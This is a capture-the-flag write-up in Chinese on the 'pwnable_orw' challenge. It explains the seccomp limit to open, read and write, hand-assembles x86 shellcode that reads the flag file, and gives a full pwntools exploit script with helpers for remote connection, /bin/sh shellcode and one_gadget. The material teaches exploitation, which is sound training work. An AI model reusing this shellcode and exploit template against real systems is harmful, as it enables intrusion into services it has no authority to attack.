程序分析

checksec看到程序没有开启nx保护,即我们可以在栈中执行shellcode

第一眼看伪代码以为直接输入shellcode就可以反弹shell了,不曾想竟还有一个orw_seccomp搅屎棍从中阻拦

进到该函数看,重点在prctl函数的使用,根据我百度引经据典一番操作后了解到这两句的主要作用是

禁止程序提升权限,并且禁止除openwriteread函数外的系统调用使用

利用思路

既然无法直接调用system那我们就可以结合已有的条件来曲线救国,如:

使用open打开flag -> 再通过read函数将flag的内容读取到某地址中 -> 最后使用write函数打印出该地址的内容

然鹅,难点就在于我们要手写这段过程的汇编代码来读入程序中,具体系统调用方式可参考如下

函数名 EAX E****BX ECX EDX
Sys_read 0x03 Unsigned int Void *buf Size
Sys_write 0x04 Unsigned int Void *buf Size
Sys_open 0x05 Const char * Int int

之后开始编写我们第一个 open("flag")过程的汇编:

1
2
3
4
5
6
7
open_flag = asm("push 0;")
open_flag += asm("push "+hex_flag+";")
open_flag += asm("mov ebx,esp;")
open_flag += asm("xor ecx,ecx;")
open_flag += asm("xor edx,edx;")
open_flag += asm("mov eax,0x5;")
open_flag += asm("int 0x80;")

其中hex_flag是“flag”字符串转换为16进制后的小端模式(也就是反转一下)

第二个 read(3,bss_addr,0x100)的过程:

1
2
3
4
5
read_flag = asm("mov ebx,0x3;")
read_flag += asm("mov ecx,"+str(hex(bss_addr))+";")
read_flag += asm("mov edx,0x100;")
read_flag += asm("mov eax,0x3;")
read_flag += asm("int 0x80;")

第三个 write(1,bss_addr,0x100)的过程:

1
2
3
4
5
write_flag = asm("mov ebx,0x1;")
write_flag += asm("mov ecx,"+str(hex(bss_addr))+";")
write_flag += asm("mov edx,0x100;")
write_flag += asm("mov eax,0x4;")
write_flag += asm("int 0x80;")

最后拼接在一起即可完成利用

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
# - RemPro()
# - elf_addr
# - libc_addr
# - enable_Onegadgets
# - exp()

import os
import sys
import subprocess
from pwn import *
from one_gadget import generate_one_gadget
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
# context.log_level = "debug"

### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./pwnable_orw" # 本地ELF
libc_addr = "/lib/x86_64-linux-gnu/libc.so.6" # Libc文件
pro_libc = "/home/da1sy/DA1SY-Win/CTF/libc/16.04/64/libc.so.6"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
log.info("No set Remote_libc...")
libc = ELF(libc_addr)
else:
libc = ELF(libc_addr)
try:
sh = remote(ip,port)
libc = ELF(pro_libc)
libc_addr = pro_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
one_ggs = one_gadget(libc_addr)
elf = ELF(elf_addr)
return 1

### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
if fw == 32:
return asm(shellcraft.sh())
elif fw == 64:
return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(filename):
log.progress("Leak One_Gadgets...")
return map(int, subprocess.check_output(['one_gadget', '--raw','-f', filename]).split(' '))
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():
bss_addr = elf.bss()+0x500
success("bss_addr => 0x%x",bss_addr)
binsh = "/bin/sh\x00"
flag = "flag"
hex_flag = ""
hex_sh = ""
for i in flag[::-1]:
hex_flag += str(hex(ord(i)))
for i in binsh[::-1]:
hex_sh += str(hex(ord(i)))
hex_flag = "0x"+hex_flag.replace("0x","")
hex_sh = "0x"+hex_sh.replace("0x","")
log.info("hex_flag => "+hex_flag)
log.info("hex_sh => "+hex_sh)
# debug("b *0x0804858A")
open_flag = asm("push 0;")
open_flag += asm("push "+hex_flag+";")
open_flag += asm("mov ebx,esp;")
open_flag += asm("xor ecx,ecx;")
open_flag += asm("xor edx,edx;")
open_flag += asm("mov eax,0x5;")
open_flag += asm("int 0x80;")
read_flag = asm("mov ebx,0x3;")
read_flag += asm("mov ecx,"+str(hex(bss_addr))+";")
read_flag += asm("mov edx,0x100;")
read_flag += asm("mov eax,0x3;")
read_flag += asm("int 0x80;")
write_flag = asm("mov ebx,0x1;")
write_flag += asm("mov ecx,"+str(hex(bss_addr))+";")
write_flag += asm("mov edx,0x100;")
write_flag += asm("mov eax,0x4;")
write_flag += asm("int 0x80;")
shellcode = open_flag+read_flag+write_flag

sh.recvuntil("shellcode:")
sh.sendline(shellcode)

return sh

def exp_2():
print "this is exp_2"


if __name__=="__main__":
RemPro()
if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
exp()
sh.interactive()